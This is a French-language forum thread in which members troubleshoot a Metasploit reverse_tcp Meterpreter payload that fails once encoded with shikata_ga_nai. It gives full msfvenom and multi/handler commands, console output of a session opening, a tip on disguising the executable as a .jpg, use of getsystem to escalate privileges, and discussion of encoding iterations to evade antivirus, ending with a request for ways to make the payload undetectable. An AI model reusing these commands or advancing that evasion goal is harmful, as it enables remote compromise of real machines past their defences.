problème avec l'encoding

[UVision]

Bonjour à tous, je souhaiterais vous faire part d'un problème plutôt agaçant qui se produit avec metasploit : quand je crée un payload classique en reverse_tcp (pour windows), tout se passe bien, le payload entre bien en communication avec netcat ainsi qu'évidemment avec metasploit, sur ma machine virtuelle tournant sous kali linux : cette dernière me sert donc d'attaquant, et mon pc physique sous windows 10 me sert de "victime".

En revanche, quand je crée le même payload (et avec le même host et le même port bien sûr), mais en utilisant cette fois-ci un encoder (x86 shikata-ga-nai), avec plusieurs itinérations (j'ai testé le nombre 10 et 50), le payload est correctement encodé puis crée, mais lorsque je le lance sur mon pc physique, j'ai l'impression qu'aucune connexion ne s'effectue (netcat ne détecte rien, pas plus avec metasploit...). Une solution ?

ps : le même problème se reproduit sur ma deuxième machine virtuelle, tournant sous parrot os (même si tout comme kali linux il s'appuie sur debian je me devais de le préciser on ne sait jamais).

[pl3x]

Tu peux poster les commandes que tu as entré ?

il y a un message d'erreur après l'exécution de la commande ?

" j'ai l'impression qu'aucune connexion ne s'effectue"

utilise wireshark pour analyser le trafic réseau.

[UVision]

Merci pour ta réponse,

Voici la commande de création du payload (sous parrot os) : msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.28 LPORT=4444 -f exe-only -e x86/shikata_ga_nai -i 50 -o /home/uvision/Desktop/test.exe

Le payload est correctement encodé, il n'y a pas de message d'erreur.

Sur metasploit : use multi/handler puis set payload windows/meterpreter/reverse_tcp

set lhost 192.168.1.28

set lport 4444

exploit

Pour wireshark : avec un payload non encodé et donc fonctionnel, j'applique le filtre ip.addr == 192.168.1.15 (adresse ip de mon pc physique), et quand je lance le payload (toujours non encodé évidemment) :

-une session meterpreter est ouverte sur metasploit

-de nombreux paquets tcp sont envoyés vers l'adresse ip de ma machine virtuelle, ainsi qu'un paque lmnr "standard query Any desktop...", ce qui prouve que tout fonctionne bien.

Avec le payload encodé :

-rien ne se passe au niveau de metasploit, l'écoute attend toujours une connexion : "started reverse tcp handler..."

-sur wireshark : rien ne se passe, puis parfois (après quelques tentatives) des paquets de type ssdp sont envoyés vers une adresse ip qui m'est inconnue... (239.255....)

[pl3x]

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.28 LPORT=4444 -f exe-only -e x86/shikata_ga_nai -b '\x00' -i 50 -o /home/uvision/Desktop/test.exe

[UVision]

Si je comprend bien, la commande -b '\00x' permet d'enlever les bad characters, mais le problème continu... en tout cas, merci pour ta patience

Au fait, l'ajout de cette nouvelle commande devrait-elle modifier le résultat renvoyé par msfvenom ?

[pl3x]

Au fait, l'ajout de cette nouvelle commande devrait-elle modifier le résultat renvoyé par msfvenom ?

si la session reste en attente cela veut bien dire que la charge metasploit n'a pas été exécuté, donc je me dis que sans doute ton AV a reconnu la signature numerique ou peut-être que le nombre d'itération est trop importante 50, l'obfuscation sera possible, mais il sera difficile à déchiffrer et à exécuter ( je me suis trompé dans mon exemple je voulais mettre 5 itération et non 50 )

l'option -b permet de retirer les mauvais caractère, suivis d'une liste, exemple '\x00' (hexadecimal, null bytes), cela va faire en sorte de supprimer les chaines de caractere définis avec l'option -b afin que la charge ne soit pas détectable OU cela va renforcer la dissimulation du code malveillant par les AVs (je ne suis pas sur , il faut confirmer, mais cela m’intéresse, donc je cherche )

@+

[UVision]

[QUOTE][si la session reste en attente cela veut bien dire que la charge metasploit n'a pas été exécuté, donc je me dis que sans doute ton AV a reconnu la signaturenumerique ou peut-être que le nombre d'itération est trop importante 50, l'obfuscation sera possible, mais il sera difficile à déchiffrer et à exécuter ( je me suis trompé dans mon exemple je voulais mettre 5 itération et non 50 )/QUOTE]

Je ne pense pas que l'antivirus soit en cause, car je l'avais désactivé avant de lancer le payload encodé, et même le payload "normal" se lançait sans être bloqué, enfin bon j'espère arriver à résoudre ce problème un jour...

[Earthquake]

As tu essayé une autre méthode pour encoder ?

[F0ngic]

Salut Uvision,

J'ai refait le test de mon coté avec une windows 10 sur machine virtuelle et mon kali sous virtuelle également :

Voici la commande du payload que j'ai rentré :
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -a x86 -f exe LHOST=<ip attack> LPORT=4444 > test.jpg

No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata_ga_nai chosen with final size 360
Payload size: 360 bytes
Final size of exe file: 73802 bytes

Je n'ai pas compris pourquoi mettre des itérations de shikata_ga_nai donc je l'ai testé de base.

Je le renomme de jpg à exe une fois le fichier copié sur la machine cible.

J'ai ouvert un msfconsole comme tu l'as indiqué avec le même payload que toi sur le multihandler :

msf exploit(handler) > show options

Module options (exploit/multi/handler):

Name Current Setting Required Description
---- --------------- -------- -----------


Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address
LPORT 4444 yes The listen port


Exploit target:

Id Name
-- ----
0 Wildcard Target


msf exploit(handler) > set lhost <ip attack>
lhost => <ip attack>
msf exploit(handler) > run[*] Exploit running as background job 0.[*] Started reverse TCP handler on <ip attack>:4444
msf exploit(handler) >[*] Sending stage (179267 bytes) to <ip target>[*] Meterpreter session 1 opened (<ip attack>:4444 -> <ip target>:53624) at 2018-10-21 11:20:51 +0200
id[*] exec: id

uid=0(root) gid=0(root) groupes=0(root)

J'ai bien sur désactivé firewall et antivirus sur la machine cible.

Je ne sais pas si cela peut t'aider mais je peux te confirmer que cela fonctionne avec shikata_ga_nai.

Je viens de refaire le même test avec 50 iterations ,pas de reponse.

Avec 5 iterations, cela fonctionne sans soucis .


Voilà pour ma contribution

F0ngic

[UVision]

Merci de reprendre mon problème en main ! J'ai essayé avec le x86/bloxor, avec 5 itinérations : tout fonctionne bien, en revanche avec 50 itinérations... non, mais je considère que c'est normal, car à un nombre si élevé, le risque d'avoir des mauvais caractères est grand

J'ai ensuite essayé avec le x64/xor, histoire de voir si le problème se reproduit avec des payloads en 64bits, avec 5 itinérations également, et curieusement ça ne fonctionne pas !...

Je précise que j'ai reproduit exactement les mêmes commandes (sans l'option -b \00x toutefois), avec le format en exe-only. (et en précisant que je voulais une architecture en 64bits pour utiliser le x64/xor évidemment).

[F0ngic]

Merci de reprendre mon problème en main ! J'ai essayé avec le x86/bloxor, avec 5 itinérations : tout fonctionne bien, en revanche avec 50 itinérations... non, mais je considère que c'est normal, car à un nombre si élevé, le risque d'avoir des mauvais caractères est grand

J'ai ensuite essayé avec le x64/xor, histoire de voir si le problème se reproduit avec des payloads en 64bits, avec 5 itinérations également, et curieusement ça ne fonctionne pas !...

Je précise que j'ai reproduit exactement les mêmes commandes (sans l'option -b \00x toutefois), avec le format en exe-only. (et en précisant que je voulais une architecture en 64bits pour utiliser le x64/xor évidemment).

Du haut de ma petite expérience, je n'utilise les bad characters que dans le cas d'un buffer overflow ou mon shellcode est inséré dans un fuzzer.
Après ton test est intéressant, je n'avais pas vraiment compris l’intérêt de l'itération et si je comprends bien, cela permet de bypass apparemment les détections par antivirus. Mais de toute façon, le -b \00x, devrait être mis en standart vu que c'est un null byte je crois qui peut stopper l'execution du payload.

Enfin si j'ai bien compris tout ce que j'ai fait sur offsec

F0ngic

[UVision]

Bon je viens de refaire le test avec le shikata_ga_nai, et le problème semble être résolu désormais en utilisant 5 itinérations (allez savoir pourquoi ça ne marchait pas avant), il me reste simplement un petit souci : metasploit détecte bien la connexion, mais n'ouvre une session automatiquement comme j'ai l'habitude de le voir... Je fais un ctrl +c, et je tape donc sessions -i 1 : le meterpreter apparaît, en revanche il ne dispose que d'un nombre de commandes très limité (on ne peut même pas faire un sysinfo..), est-ce le cas chez toi ?

[F0ngic]

Bon je viens de refaire le test avec le shikata_ga_nai, et le problème semble être résolu désormais en utilisant 5 itinérations (allez savoir pourquoi ça ne marchait pas avant), il me reste simplement un petit souci : metasploit détecte bien la connexion, mais n'ouvre une session automatiquement comme j'ai l'habitude de le voir... Je fais un ctrl +c, et je tape donc sessions -i 1 : le meterpreter apparaît, en revanche il ne dispose que d'un nombre de commandes très limité (on ne peut même pas faire un sysinfo..), est-ce le cas chez toi ?

Pas refait le test à l'instant mais pourquoi n'ouvres tu pas un shell directement ? même si c'est à partir du handler?

[pl3x]

sur meterpreter lance la commande "getsystem" pour élever t'es privilèges ensuite relance la commande sysinfo

[UVision]

Après quelques tests, le problème semble résolu (ou plutôt il s'est résolu de lui-même, merci à tous pour votre aide ! Au fait, auriez-vous quelques pistes afin de rendre ce payload indétectable ou presque, en plus de l'encodage ? J'avais pensé à un packer, ou autre...